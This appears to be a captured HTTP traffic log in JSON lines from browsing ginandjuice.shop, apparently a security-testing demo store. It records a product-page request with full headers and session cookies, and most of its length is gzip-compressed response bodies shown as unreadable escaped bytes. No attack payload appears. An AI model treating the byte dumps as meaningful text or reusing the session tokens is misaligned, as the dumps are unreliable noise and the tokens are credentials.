3\\ufffdr\\ufffdu\\u0019\\ufffd\\u0010'$\\ufffd\\ufffd\\ufffd\\u0016eո\\u001b[\\ufffd\\u0026+-m\\ufffd\\u0002\\ufffd\\ufffd\\ufffdJ\\ufffd\\ufffdx\\u0019N\\ufffd\\ufffd\\ufffd\\ufffd\\u0005\\u001b%\\ufffd\\ufffd0\\ufffd\\ufffd\\ufffdJV\\ufffd(\\ufffd?\\u000f\\ufffd\\ufffd\\u000et\\u000c-\\ufffdD\\ufffd%\\ufffdIW\\ufffd\\ufffd\\ufffd\\u0016\\u0014\\ufffd6\\ufffd^\\n\\ufffdꦞ|$!\\ufffdg\\ufffd\\ufffd\\u003c\\ufffd\\ufffdW\\u003c\\ufffd\\\\-\\ufffd\\ufffd\\u0013\\ufffd\\ufffdNE\\ufffd\\t\\ufffd\\ufffd \\u0004\\u000ew\\ufffdy#\\ufffdfX_+\\u000cw\\ufffd\\ufffd\\ufffd\\ufffd\\ufffdT\\u0005\\ufffd0~\\u001d\\u001e\\ufffd\\u001e\\u001c6\\ufffd\\ufffd\\ufffdT\\ufffd\\ufffd\\ufffd\\ufffdԐ\\ufffd\\ufffdɮĺ\\u0015\\u0002\\u001d,`\\ufffd'\\u000b\\ufffd\\ufffdwT\\ufffd\\r\\ufffd\\ufffdo\\u001d\\u001d/\\ufffd\\ufffdQ\\ufffd\\ufffd\\ufffd*\\ufffd\\ufffdQ\\ufffd\\ufffd\\ufffd\\ufffd\\ufffd\\ufffdR\\ufffd\\ufffd\\ufffd\\n\\ufffd\\ufffdT\\ufffdK\\ufffdg\\u000c\\u0017\\ufffd\\ufffd\\ufffd\\ufffd\\ufffdA\\ufffd\\ufffd\\ufffd\\ufffdTsKYeA\\ufffd'\\ufffdu#\\ufffdWU\\ufffd\\ufffdZv\\ufffd\\ufffd\\u000c\\ufffd\\ufffd\\ufffdK\\ufffd\\\\CsSю\\ufffd\\ufffd\\ufffd@\\ufffd\\ufffd\\ufffdC\\ufffd\\ufffd^\\ufffdd\\ufffdKX\\ufffd=\\ufffd]\\ufffd\\ufffd\\ufffdޅ\\ufffd\\ufffd\\ufffd\\ufffdOt\\ufffdiV\\ufffd3\\\\\\ufffdm\\u000fZ9[1\\u001e\\ufffd!]\\ufffd\\ufffdF\\ufffdm\\u001c\\u001b\\ufffd\\ufffda\\u0007\\ufffd\\ufffdj\\u0012\\u0006\\ufffd\\ufffd\\n\\ufffd\\ufffd\\ufffd@\\ufffd;\\u0008\\ufffd-\\u0014\\ufffd\\ufffd\\\"I\\u0019\\ufffdBj/\\\"=\\ufffd\\ufffd\\\"\\ufffd\\ufffd\\ufffd\\ufffd\\ufffd\\u0007\\ufffd\\ufffda\\ufffd\\ufffd|\\ufffd['l\\ufffd+\\ufffd\\ufffd\\n\\u0001=\\ufffd;Ϡ\\ufffd\\ufffdon\\ufffd*R\\ufffd\\ufffdԤnRfd\\ufffdoD\\ufffdܛo\\ufffd\\u0004\\ufffd\\u0011\\ufffd\\u00168\\ufffd\\u0002^\\u0011H\\u001f(\\ufffdҾ0a\\ufffd\\\\$s_\\ufffd\\ufffd\\u003eA\\\\̷\\ufffd\\t\\ufffd\\ufffd/\\u0004\\ufffdo\\ufffd\\ufffd\\ufffd\\ufffd\\ufffdoNC\\ufffd\\u0002\\ufffd$9\\ufffdn\\ufffd\\ufffd\\ufffd\\u0010\\ufffd!\\ufffd6\\ufffd\\ufffd\\u0014s\\ufffd0\\ufffd\\ufffdo^\\ufffdȗ\\ufffd\\ufffd\\ufffd\\ufffd`'2\\ufffd\\ufffd\\ufffd\\u0012bX?}\\u0018n\\u0000\\u000eV\\ufffdc(\\ufffd\\ufffd\\ufffd(\\u0010\\ufffda_d\\ufffd߀\\ufffd\\ufffd\\ufffd\\ufffd\\ufffd\\ufffdt\\u001b\\ufffd7ʃ\\ufffdW\\ufffd\\ufffda_A\\ufffds-\\u000fj\\u001e\\u0011kem\\ufffd\\u0000\\u0017\\ufffd΍\\ufffd\\ufffd\\ufffdA!\\ufffd\\u00057!*\\u0016\\ufffd5\\ufffdQ\\ufffdNac\\u0003\\ufffd\\ufffd\\ufffd\\ufffd@\\ufffd\\ufffdP\\ufffd\\ufffd\\n\\ufffd\\ufffd9\\ufffd\\u0019\\ufffd\\ufffd摔$\\ufffd\\u0017\\ufffdK\\ufffd\\ufffd\\u0008\\ufffd\\u001d\\ufffdX\\ufffdP7\\ufffdO\\ufffd\\u0014\\u000eC8m[\\ufffdSKމi\\u0018\\u0012\\ufffd\\ufffdó̦\\u000eҭ\\u001e\\u000c\\ufffdtv\\ufffd\\ufffd\\ufffdɻ\\ufffd\\ufffd\\ufffd_\\u001f\\u001e\\ufffdǟs\\ufffd䃺\\u000e/_\\ufffd\\ufffd\\ufffd\\ufffd\\ufffde\\ufffd~e@Y\\ufffd\\u00035ۂH\\u0012\\ufffd\\u0026o\\u0016\\ufffd\\u0019yv\\ufffd6\\ufffd\\ufffd\\ufffd\\ufffdQX \\ufffdTp\\ufffd\\ufffd\\ufffd\\ufffd\\u001fK\\ufffdf\\ufffdn9a\\ufffd\\ufffd$\\ufffd✂\\u0007\\ufffd\\u0006\\ufffd\\ufffd\\ufffdSC\\ufffd̰t\\u0017\\ufffd\\ufffd\\ufffd{\\ufffd\\ufffd\\ufffdN\\ufffd\\ufffdMʧ\\ufffds\\u0019ٟ\\u000c\\u000e\\u0003?\\ufffd\\\"\\u001d\\t\\n\\u0015C\\ufffd\\u0007\\u003e\\ufffd\\ufffd\\ufffd_\\ufffd{\\ufffd\\ufffd\\ufffd\\ufffdU\\u0016\\ufffd\\ufffdn\\ufffdB\\ufffdg\\ufffd\\ufffd\\ufffd3\\ufffd\\ufffd\\ufffd\\u0018\\ufffd V\\ufffd\\u003c\\ufffd^\\ufffd\\u001a\\ufffd\\ufffd\\ufffdU\\ufffd.\\ufffd.\\ufffd\\ufffdd\\u001a\\ufffd6\\u0015\\u0003\\ufffdv\\ufffd\\ufffd\\ufffdȊl*V\\u0007D)\\t]\\ufffd~\\ufffd\\ufffd5\\ufffdU\\ufffdP\\ufffdvۂ\\ufffd\\ufffdN;\\ufffd\\ufffd\\ufffd?Ӕ\\ufffd;;*\\ufffd\\ufffd^_\\ufffd\\ufffd;5}\\ufffd\\ufffd\\ufffdo\\u000b\\ufffd\\ufffdL!\\ufffd@4#\\u0026\\ufffd\\ufffd9\\u0003!2\\ufffd\\u0005\\ufffd\\ufffd\\ufffdv\\u0007\\ufffd:T\\u0000\\ufffd+\\ufffd\\ufffd\\ufffd\\ufffd\\ufffd\\u0007\\ufffd\\ufffdh\\u0014\\ufffdR\\ufffd\\ufffd\\ufffd\\ufffdȹ\\ufffd\\ufffd7\\u000fԝ\\ufffd\\ufffd\\tL\\ufffd\\ufffdG_\\ufffd\\u000e\\ufffd\\u0015Pxc)\\ufffd\\u000b\\u0015\\ufffd\\ufffd\\ufffd\\ufffd\\ufffd-Ǘ'm\\ufffd\\ufffdo\\ufffdsj\\u000b\\u00128\\ufffd|\\ufffd\\ufffd\\ufffd\\ufffd\\ufffd\\ufffd\\ufffdc{\\\"E\\u0000\\u001a\\ufffdhy\\u0004m\\u0013ޏW\\ufffdo\\ufffdݏW\\ufffd\\ufffd\\ufffd\\ufffd\\ufffdg\\ufffd-\\ufffdڃ\\ufffdڰ\\ufffd(\\ufffd\\ufffdejS\\ufffdu\\ufffdͪ\\u0014\\ufffd\\ufffd\\u0008\\ufffd\\ufffdO\\ufffd\\u0012ͷ\\u0016\\ufffd\\u0003*%\\u0016\\ufffd\\ufffd(\\u0000\\u0000\",\"raw\":\"HTTP/1.1 200 OK\\r\\nConnection: close\\r\\nContent-Length: 2127\\r\\nContent-Encoding: gzip\\r\\nContent-Type: text/html; charset=utf-8\\r\\nDate: Thu, 07 Sep 2023 15:33:38 GMT\\r\\nSet-Cookie: AWSALB=Pg2tRxpbJS4v1ZtiZEW7wdRuiV8VAiZ3b3l3tQPQqlbmlzdtxR43DjPK5Jy+fdqkGwxM1KZJ4rYEZno7EU9fm5zKFOYXkqdmZLntqAPODwer/3D3AJPY82NCJZfi; Expires=Thu, 14 Sep 2023 15:33:38 GMT; Path=/\\r\\nSet-Cookie: AWSALBCORS=Pg2tRxpbJS4v1ZtiZEW7wdRuiV8VAiZ3b3l3tQPQqlbmlzdtxR43DjPK5Jy+fdqkGwxM1KZJ4rYEZno7EU9fm5zKFOYXkqdmZLntqAPODwer/3D3AJPY82NCJZfi; Expires=Thu, 14 Sep 2023 15:33:38 GMT; Path=/; SameSite=None; Secure\\r\\nX-Backend: ecfca00b-5a9e-4a89-91bd-de41ecbc4611\\r\\nX-Frame-Options: SAMEORIGIN\\r\\n\\r\\n\"}}\n{\"timestamp\":\"2023-09-07T21:03:43+05:30\",\"url\":\"https://ginandjuice.shop/catalog/product?productId=1\",\"request\":{\"header\":{\"Accept\":\"text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7\",\"Accept-Encoding\":\"gzip, deflate, br\",\"Accept-Language\":\"en-US,en;q=0.9,hi;q=0.8\",\"Connection\":\"close\",\"Cookie\":\"TrackingId=eyJ0eXBlIjoiY2xhc3MiLCJ2YWx1ZSI6InkyRTQ5UzdBNFdiWUVDZEYifQ==; session=rXVoplR77zJ2sMgzZWa5Cp5X2y0YMzSK; AWSALB=Pg2tRxpbJS4v1ZtiZEW7wdRuiV8VAiZ3b3l3tQPQqlbmlzdtxR43DjPK5Jy+fdqkGwxM1KZJ4rYEZno7EU9fm5zKFOYXkqdmZLntqAPODwer/3D3AJPY82NCJZfi; AWSALBCORS=Pg2tRxpbJS4v1ZtiZEW7wdRuiV8VAiZ3b3l3tQPQqlbmlzdtxR43DjPK5Jy+fdqkGwxM1KZJ4rYEZno7EU9fm5zKFOYXkqdmZLntqAPODwer/3D3AJPY82NCJZfi\",\"Referer\":\"https://ginandjuice.shop/\",\"Sec-Ch-Ua\":\"\\\"Chromium\\\";v=\\\"116\\\", \\\"Not)A;Brand\\\";v=\\\"24\\\", \\\"Google Chrome\\\";v=\\\"116\\\"\",\"Sec-Ch-Ua-Mobile\":\"?0\",\"Sec-Ch-Ua-Platform\":\"\\\"macOS\\\"\",\"Sec-Fetch-Dest\":\"document\",\"Sec-Fetch-Mode\":\"navigate\",\"Sec-Fetch-Site\":\"same-origin\",\"Sec-Fetch-User\":\"?1\",\"Upgrade-Insecure-Requests\":\"1\",\"User-Agent\":\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36\",\"host\":\"ginandjuice.shop\",\"method\":\"GET\",\"path\":\"/catalog/product\",\"scheme\":\"https\"},\"raw\":\"GET /catalog/product?productId=1 HTTP/1.1\\r\\nHost: ginandjuice.shop\\r\\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7\\r\\nAccept-Encoding: gzip, deflate, br\\r\\nAccept-Language: en-US,en;q=0.9,hi;q=0.8\\r\\nConnection: close\\r\\nCookie: TrackingId=eyJ0eXBlIjoiY2xhc3MiLCJ2YWx1ZSI6InkyRTQ5UzdBNFdiWUVDZEYifQ==; session=rXVoplR77zJ2sMgzZWa5Cp5X2y0YMzSK; AWSALB=Pg2tRxpbJS4v1ZtiZEW7wdRuiV8VAiZ3b3l3tQPQqlbmlzdtxR43DjPK5Jy+fdqkGwxM1KZJ4rYEZno7EU9fm5zKFOYXkqdmZLntqAPODwer/3D3AJPY82NCJZfi; AWSALBCORS=Pg2tRxpbJS4v1ZtiZEW7wdRuiV8VAiZ3b3l3tQPQqlbmlzdtxR43DjPK5Jy+fdqkGwxM1KZJ4rYEZno7EU9fm5zKFOYXkqdmZLntqAPODwer/3D3AJPY82NCJZfi\\r\\nReferer: https://ginandjuice.shop/\\r\\nSec-Ch-Ua: \\\"Chromium\\\";v=\\\"116\\\", \\\"Not)A;Brand\\\";v=\\\"24\\\", \\\"Google Chrome\\\";v=\\\"116\\\"\\r\\nSec-Ch-Ua-Mobile: ?0\\r\\nSec-Ch-Ua-Platform: \\\"macOS\\\"\\r\\nSec-Fetch-Dest: document\\r\\nSec-Fetch-Mode: navigate\\r\\nSec-Fetch-Site: same-origin\\r\\nSec-Fetch-User: ?1\\r\\nUpgrade-Insecure-Requests: 1\\r\\nUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36\\r\\n\\r\\n\"},\"response\":{\"header\":{\"Content-Encoding\":\"gzip\",\"Content-Length\":\"2461\",\"Content-Type\":\"text/html; charset=utf-8\",\"Date\":\"Thu, 07 Sep 2023 15:33:43 GMT\",\"Set-Cookie\":\"AWSALB=Bw29bzxm1ZFCqwAsdTUat6udxhYzHJE8Aw2bx6njc30OZmjrKCbp0DgE11GbzOh9pBT4AdR8D0cQN23zLa91oF0u5g/d1YCSaToyLqB6++toCM6Ie1Xj8dPErU8g; Expires=Thu, 14 Sep 2023 15:33:43 GMT; Path=/, AWSALBCORS=Bw29bzxm1ZFCqwAsdTUat6udxhYzHJE8Aw2bx6njc30OZmjrKCbp0DgE11GbzOh9pBT4AdR8D0cQN23zLa91oF0u5g/d1YCSaToyLqB6++toCM6Ie1Xj8dPErU8g; Expires=Thu, 14 Sep 2023 15:33:43 GMT; Path=/; SameSite=None; Secure\",\"X-Backend\":\"ecfca00b-5a9e-4a89-91bd-de41ecbc4611\",\"X-Frame-Options\":\"SAMEORIGIN\"},\"body\":\"\\u001f\\ufffd\\u0008\\u0000\\u0000\\u0000\\u0000\\u0000\\u0000\\ufffd\\ufffdZ\\ufffdr\\ufffd6\\u0012\\ufffdާ@y\\ufffd(\\ufffd1ES\\ufffd\\u001b\\ufffd\\\"\\ufffd\\ufffd8Nz\\ufffd\\u0013k\\ufffd\\\\\\ufffdޗ\\u000cDB$b\\ufffd`\\u0008P\\ufffd2\\ufffdB\\ufffd\\u001a\\ufffdd\\ufffd\\u0000H\\ufffd\\ufffdH\\ufffd\\ufffd\\ufffd\\ufffd~\\ufffd\\ufffdc\\ufffd\\ufffd\\ufffd\\ufffd\\u0002\\ufffd\\ufffdbw\\ufffdѷ/o.\\ufffd\\ufffd1\\ufffdB\\ufffd\\ufffd\\ufffd\\ufffd\\ufffd\\ufffd|!\\ufffd\\ufffd\\\"\\ufffd\\u0003\\ufffdS?2\\ufffdܡ(#\\ufffd\\ufffd\\ufffd\\u0011\\ufffd\\ufffd\\ufffd'\\ufffdax\\ufffd\\ufffd\\ufffd\\ufffd\\ufffd\\ufffdp\\ufffd\\ufffd\\ufffd7\\ufffd']Ї\\u0002\\ufffd\\u00116\\u0016rɈ\\ufffd\\u0008\\ufffdm`\\n\\u0002\\u0000\\ufffd-\\ufffd\\ufffdd?@L$F\\t\\ufffd\\ufffdؚS\\ufffdHy\\u0026-\\ufffd\\ufffdD\\ufffdD\\ufffd\\ufffd\\u0005\\rd4\\u000eȜ\\ufffd\\ufffd\\ufffd\\u000f'(\\u0017$\\ufffdAB\\u0018\\ufffd\\ufffdq­\\n\\ufffd\\ufffd3\\ufffdJ$2lU\\u0004\\ufffd(\\ufffd\\u0001\\ufffd\\ufffd\\u000fH\\ufffd\\ufffd4\\u0006\\ufffd\\ufffdGay#\\ufffd\\ufffd\\ufffd\\u000ea\\u0007\\u003c\\u003e\\u0000F.S\\ufffd\\ufffd$\\ufffd\\ufffd\\ufffd\\ufffd\\ufffdؔZu\\ufffd8\\ts\\ufffd\\ufffd\\u000f\\ufffd\\ufffd\\ufffd~ڄ*\\ufffdděЄ\\ufffd4e\\u0004]\\u0005TR\\ufffd\\ufffdK\\ufffd\\ufffdIL\\u0019\\ufffd\\ufffd$\\ufffdA\\ufffdK\\ufffd\\ufffd\\ufffd\\u0026\\ufffd\\u0011\\ufffd\\ufffdg\\ufffd\\ufffd\\u001c\\ufffd\\u000f\\ufffdF\\u003c\\u001d9\\u0006\\ufffd0\\ufffdYSc4\\ufffd\\ufffd\\u0012%\\ufffd\\r\\ufffd\\ufffd\\u0001\\u0003:G4\\u0018[UFT\\u0016\\ufffdL\\ufffd\\ufffdZ\\u0008\\ufffda!Ɩ\\ufffd\\ufffd\\u001d\\u0010#=\\ufffdluН\\ufffd\\ufffd2\\ufffdy\\u0017Q\\ufffd\\ufffd\\u000f\\ufffd\\ufffd0:%\\u0019\\ufffd\\ufffd-\\ufffd\\u003cg\\t\\ufffd\\ufffd\\rG\\u000b2Ej\\ufffd\\ufffd\\ufffdzT\\u0018\\ufffd\\ufffd\\t\\tЌgH\\u0012!i\\u0012\\ufffdF\\ufffd\\ufffd\\ufffdH\\ufffd\\ufffd\\u001d)\\ufffdri\\ufffd\\ufffdT\\ufffdL\\ufffdk\\u0005\\u0018\\ufffd\\u0014\\ufffd\\ufffd\\ufffd\\ufffdm!\\ufffd\\ufffd\\u001cH\\u0007\\ufffdM2E\\ufffd$\\ufffd\\ufffd\\ufffd\\ufffd\\u000f\\ufffd.\\u001a#wU\\ufffd盵\\ufffd\\ufffd\\ufffd\\u0018\\ufffd\\ufffd\\ufffdCS[VCiR\\ufffd\\u003e\\ufffd蜧c\\ufffd\\ufffd\\ufffd\\ufffd\\ufffdЏ\\u001e\\ufffd\\ufffdX\\u001b\\ufffd\\ufffd\\ufffdǳ'\\ufffd\\ufffdb\\ufffd\\ufffd\\u0008K\\u003e}ܻ\\u001e\\ufffd۝\\ufffd\\u003eg~\\ufffd\\ufffd\\ufffd\\ufffd\\ufffdi\\ufffd\\ufffd11\\u001e\\ufffd\\ufffd\\ufffdFe\\u0004+\\ufffda\\u001f\\ufffd$\\u00158\\ufffd\\u0019\\ufffd)\\u001bԔ\\rk\\ufffd\\ufffd,o\\ufffdK\\ufffd\\u0004ڣb\\u001f\\ufffd\\ufffdHFDoݷ@yX\\ufffd\\u001a\\ufffd8[|\\ufffd\\ufffd\\ufffdu{\\ufffd\\ufffd3\\ufffd}\\ufffd\\u0007\\ufffd\\ufffd\\ufffd*z\\ufffd\\ufffd\\ufffd\\ufffd`Ы\\ufffd\\ufffd\\ufffd#l\\ufffd\\\\ϩ\\ufffd\\ufffd\\ufffd\\u0013\\ufffd\\ufffdٌ\\ufffd\\u001c\\ufffd\\u0018\\ufffd\\u001b`\\u001d\\ufffdP\\ufffd\\ufffd\\ufffd\\nk\\ufffdȧ\\ufffd$\\ufffda\\ufffdU\\ufffd\\ufffd\\ufffdԆ\\ufffd4Ԝ\\ufffd\\u000b\\ufffdUd\\u0017(\\ufffdh\\ufffd\\ufffd\\ufffdy\\ufffdQ\\ufffd\\u001dHF\\ufffd\\u001b醸\\u001cz\\ufffdK\\t[\\ufffd\\u0018\\ufffdK\\u0012Xfe-\\u0007(\\ufffda\\ufffd\\ufffd\\\"Ƅ\\ufffd\\ufffd\\ufffd\\ufffd\\ufffdu\\ufffdH\\ufffd\\ufffdb\\ufffd\\ufffd\\ufffdj\\ufffd^\\ufffd\\ufffd?\\ufffdXx\\ufffdsiy7J\\ufffd$ϖ\\u000f$\\ufffd\\ufffd\\ufffd\\ufffd\\ufffd\\\\\\u0002e\\ufffdI\\ufffd\\ufffdل}\\ufffd牴\\ufffd_Y\\ufffdxi\\u0017\\ufffdp\\ufffd\\ufffdy\\ufffd\\ufffd\\ufffd\\ufffd\\ufffd\\ufffd\\ufffdc\\u0017\\ufffd\\u001e\\ufffd/\\ufffdZ\\ufffd\\ufffdC\\ufffd\\ufffdm`\\ufffd\\ufffdBgu\\u001a+\\ufffd.\\ufffd[,O\\ufffd\\ufffd\\u0007M{w\\ufffd[t\\ufffdN\\ufffd\\ufffd\\ufffd\\ufffd\\u0026\\ufffd%ָ\\ufffdX\\ufffdu\\ufffd~\\ufffdD\\ufffd\\ufffd\\ufffd$z;\\ufffd\\ufffd\\ufffd}\\u0001a}\\ufffdm\\ufffd\\ufffd0|\\ufffd\\ufffdQ|UG\\ufffdiq\\u0014vd\\ufffdꪩ\\ufffdF?\\ufffd\\ufffd\\ufffd\\ufffd\\\\Q|[\\ufffd0d\\u0004F\\ufffd\\u001b\\ufffd\\u0019\\rC\\ufffd*\\ufffd٬\\u0026\\ufffd\\ufffd\\u0000\\ufffd\\u001dk\\ufffdFN\\ufffd\\u0001\\ufffdp\\u0004\\ufffd\\u0014\\ufffd8\\u0016[\\ufffd\\ufffd\\ufffd\\u000c\\u001e\\ufffd\\nY\\ufffd\\ufffd\\ufffd1\\ufffdݰSsf\\ufffd\\ufffd\\ufffd1\\u001c᫓\\ufffd\\ufffd-^\\u001f\\ufffd֪\\u001d\\ufffd\\ufffdv\\n[\\ufffd`?G\\ufffd\\ufffd\\ufffdV\\ufffdK:+\\ufffd\\ufffd\\ufffd\\u001c7utLuC\\ufffdھO!\\ufffd\\t\\ufffd,\\ufffd\\ufffd\\ufffdl\\ufffdR\\ufffd\\ufffdM\\ufffd\\u001c\\ufffd\\ufffd\\ufffdǤ}[7{պ\\u0000\\ufffd\\u0000\\ufffd\\u0001Qs\\ufffdf.moZ\\ufffd\\ufffdn\\ufffdht\\ufffdV-h\\u001cn\\ufffd\\ufffdZ\\ufffdXP?8\\ufffdmt\\ufffd\\u0016\\ufffd](\\u001e\\ufffd\\ufffd\\ufffd\\ufffd\\ufffd@\\ufffd\\u003c\\ufffdi\\u0012\\ufffd\\ufffd\\ufffd(v4ܻ\\ufffdP\\ufffd'\\ufffd\\ufffd\\u001e\\ufffd\\u001aǁS\\u000b*\\n\\ufffd$m\\ufffdW߷C'\\ufffd\\ufffd\\ufffd\\ufffd\\ufffd~\\ufffd\\ufffd\\ufffd\\ufffdG9;\\ufffd\\ufffd\\ufffdm\\ufffd\\n\\n\\ufffdo\\u00263\\ufffd\\ufffd\\u0012\\u001dFۘ\\ufffd\\ufffd\\ufffd}\\ufffd+\\ufffdS¼\\ufffd\\ufffdN\\ufffd\\u00189\\ufffd\\ufffd\\ufffdo\\ufffd\\ufffd\\ufffdAA\\u0013\\ufffd \\ufffdǈјBD\\ufffd\\ufffdm\\ufffd`\\ufffdK\\ufffdR('\\u0008\\u001c\\u00064\\ufffd\\ufffd\\u001d\\ufffd.Q\\ufffdS\\ufffd*\\ufffd\\ufffd2\\ufffdIp\\ufffd\\ufffd\\u001fJ\\ufffd\\u0002\\ufffd\\ufffd\\ufffd\\ufffdC\\ufffd\\u0005\\ufffd\\ufffdy\\ufffdc4\\ufffdr*\\ufffdG\\ufffd\\u00029A\\ufffddVY\\u0012\\n\\ufffdj\\ufffd\\u0011\\u0015\\ufffdf\\ufffdm\\u0013\\ufffd.xƂ\\u003ez\\u001fa\\ufffd\\u0002NDғHb\\u0001\\ufffd\\ufffd\\ufffdH\\t\\u0006W\\ufffd\\ufffd\\ufffd\\ufffd\\u0010\\ufffd\\ufffd\\u0015I\\u0011\\u000e\\u0002\\u0012\\ufffd\\u0008C}\\ufffd\\ufffdD\\ufffdI\\ufffd1\\u0004q\\ufffdBE3\\u001aF\\u0000\\ufffd0yB\\u0010\\ufffd\\ufffd:o\\ufffd\\u0006\\ufffdxhN\\u0004\\u000c\\u0008rD*\\ufffd\\ufffd\\ufffd\\ufffd\\ufffdH\\u0007s\\ufffdr\\ufffdB\\ufffd\\u0003(\\ufffdy\\u0018\\ufffduH\\u000c\\u000b88?}s\\ufffd\\ufffd\\ufffd\\ufffd\\u0001\\ufffd\\u003c\\ufffd\\ufffd\\u0005~]|\\ufffd\\ufffd\\ufffd\\ufffdm'd\\u003e\\ufffd\\u0017\\u0010_\\ufffdw\\ufffd\\u001f\\u0011\\ufffd\\ufffd\\u000b/`^\\ufffd\\ufffd\\u001d\\ufffd~\\ufffd\\ufffd\\ufffd+(\\ufffd\\ufffd\\ufffdS\\u000b_\\ufffd{\\nEwtC\\u000b\\ufffd\\u0004\\ufffd\\u0008\\ufffd\\u00267\\ufffd\\ufffd:*ވ\\u0026),eF\\u003e\\ufffd4\\u0003\\u0002\\ufffd\\ufffd[Da'\\ufffd\\ufffd2\\ufffd\\ufffdb\\ufffdB\\ufffd9\\ufffd,\\ufffd\\u0012\\ufffd+\\ufffd\\tU\\u000b\\u001c\\u0015f\\u0011@9\\ufffd5\\ufffdZ/\\ufffd\\ufffd\\\"\\ufffd͓\\ufffd\\ufffdonj\\ufffd\\u0018j\\u0000P\\u0013\\ufffdQq4\\ufffd\\u0010\\ufffd\\ufffdP\\ufffd\\u000f\\ufffdI\\ufffdKjm:\\ufffd.B\\ufffd=\\\"\\ufffd\\ufffd\\ufffd[[!\\ufffd\\ufffd\\ufffd\\ufffd4\\u0017F\\ufffd)\\ufffd\\ufffd\\ufffd*\\ufffdu5훬\\ufffd\\ufffd\\ufffd\\ufffdI\\ufffd\\ufffdl\\ufffd\\ufffdS\\ufffd\\ufffd1\\ufffd]\\ufffdN\\ufffd\\ufffdq\\u001c4\\ufffdr\\ufffd\\u0000}-\\ufffd\\u0001\\ufffd\\u0007\\ufffd\\ufffd\\ufffd \\ufffd\\ufffd\\ufffd\\ufffd\\ufffd`\\ufffd\\ufffd\\ufffdK諔\\ufffd\\ufffd\\ufffd\\ufffdЦTl\\ufffd\\ufffdG\\ufffd\\ufffd\\ufffdj\\ufffd\\ufffd+\\ufffd.h\\ufffd\\u003e\\u0010.\\u0014Ҭ\\ufffd\\ufffd\\ufffdz\\ufffd\\ufffd_\\ufffd]%.LE\\ufffd,}\\ufffdO9N$\\ufffd\\ufffd\\ufffdzL=NY~\\ufffd-)\\ufffdh\\ufffd\\ufffd\\u0000\\ufffd\\ufffd\\u001b\\u003c\\ufffd%\\ufffd\\ufffdG\\ufffd\\ufffdY\\ufffd\\ufffd\\ufffd \\ufffd\\ufffdw~4\\ufffd\\ufffd\\ufffd\\ufffd\\ufffd\\ufffd O-\\ufffd\\ufffd\\ufffd \\u0017\\ufffdwq4\\ufffd\\u000f\\ufffd\\ufffd\\ufffd\\ufffd \\ufffd\\ufffd幧\\ufffd\\ufffd\\ufffd\\u0001\\ufffd\\u001e\\ufffdZ\\u0017h\\ufffd\\u001e\\ufffd[\\u0017\\ufffd\\ufffd\\u001e\\ufffd\\\\\\u0017\\ufffd\\ufffd\\u001e\\ufffd]\\u0017\\ufffd\\ufffd\\u001e\\ufffd\\ufffd#\\u000ecs\\u0016\\u0017f\\ufffd8t\\ufffd\\u0007\\ufffd\\ufffd\\ufffd\\ufffd\\ufffd~؃\\ufffd\\ufffd#I\\ufffd\\u000c\\ufffd\\u0007\\ufffdKM\\ufffd\\ufffd\\ufffdd\\ufffdo\\ufffd\\\\̰%A\\ufffd\\u0026\\ufffd\\ufffd[\\ufffd\\ufffd˪\\ufffd^MW[\\ufffd\\ufffdЌs\\u0008@\\ufffdE\\u0006\\u0001G}\\u001ei+\\ufffda:4\\ufffd\\ufffdv\\ufffd\\u0019\\ufffdi\\ufffd\\ufffdyJ\\ufffd}|}A\\ufffd/\\u001b\\u0011\\r\\ufffd\\ufffdd\\u000e\\ufffdSL\\ufffd\\ufffd\\ufffd\\ufffd\\ufffd\\ufffd\\u001a\\ufffd\\ufffd\\u001c\\ufffd)QA\\ufffdȁV\\ufffd\\u0010\\ufffd\\ufffd3\\ufffd\\ufffdh\\u0015\\ufffd-h@\\ufffdJ\\ufffd\\ufffd\\t\\u001c\\ufffd\\ufffd\\ufffdtĤ\\u0002B\\u001d\\ufffd\\ufffd\\u0019N P\\ufffdŉ\\u000e\\ufffdȽ\\ufffdrA\\ufffd0\\u0012Y\\u0008\\ufffd\\ufffd4\\u0010\\ufffd\\ufffd\\ufffdQK\\u0003\\ufffd\\ufffdF\\ufffd\\ufffd@\\ufffd \\ufffd\\ufffds\\u0006\\ufffd,\\ufffdt:M\\ufffdP3\\u0006\\ufffd\\ufffd\\ufffd7\\ufffd\\ufffd\\ufffdp\\ufffd-\\u001f\\ufffd\\ufffd\\ufffd[\\ufffd\\u0000/\\ufffd\\ufffd\\ufffd\\ufffd[_}\\ufffd\\ufffdҫ\\ufffd*\\u0000J\\ufffdeԔr!\\ufffd\\ufffd\\ufffd@k\\rЖ\\ufffd\\ufffd\\ufffd\\ufffd ئ̸-\\ufffdgʰO\\\"\\ufffd\\u0002u\\ufffd}\\ufffd\\ufffd\\ufffd\\t\\ufffdٶ\\ufffd\\ufffdt\\ufffd\\ufffd|\\ufffd\\ufffdV\\ufffd\\ufffd\\ufffd\\ufffd\\ufffd\\ufffdY\\ufffd\\ufffdՕ{u\\ufffdy\\\"\\ufffdӋ\\ufffd\\ufffd\\ufffd\\ufffd\\ufffd\\ufffd\\ufffd\\ufffd~{5\\ufffdo_\\ufffd\\ufffdWX\\ufffd-\\ufffdP1|\\ufffdm\\ufffd2햮=\\ufffd\\ufffd\\ufffdZo\\ufffd\\ufffd\\ufffd\\ufffd'\\ufffd)i\\u0013r#\\ufffd\\ufffd\\ufffd5\\ufffdw\\ufffd\\u000c}\\ufffd\\u0005)m%\\ufffd\\ufffdgԿ+\\ufffd/5\\ufffdK-\\ufffdc\\ufffd\\ufffdD\\u003eQ\\ufffd\\ufffdپ\\ufffd\\ufffdI\\ufffd\\u0019\\ufffd\\u001aIG\\ufffd78\\ufffd\\u000e\\ufffdt\\ufffd\\ufffd%X\\ufffdLG\\u0008:\\ufffd\\ufffdq\\ufffd\\u001b=\\ufffd\\ufffd\\ufffdfwE\\u0018\\u0016{\\ufffd.\\ufffd\\u000b%\\ufffd\\ufffd\\ufffd\\ufffdS\\ufffd\\rR)\\ufffd\\u003c\\tڳ\\ufffd\\u001b\\ufffd\\ufffd\\u000e\\ufffd\\ufffd\\u0005\\ufffdj\\u0013VBC\\ufffd\\ufffd\\ufff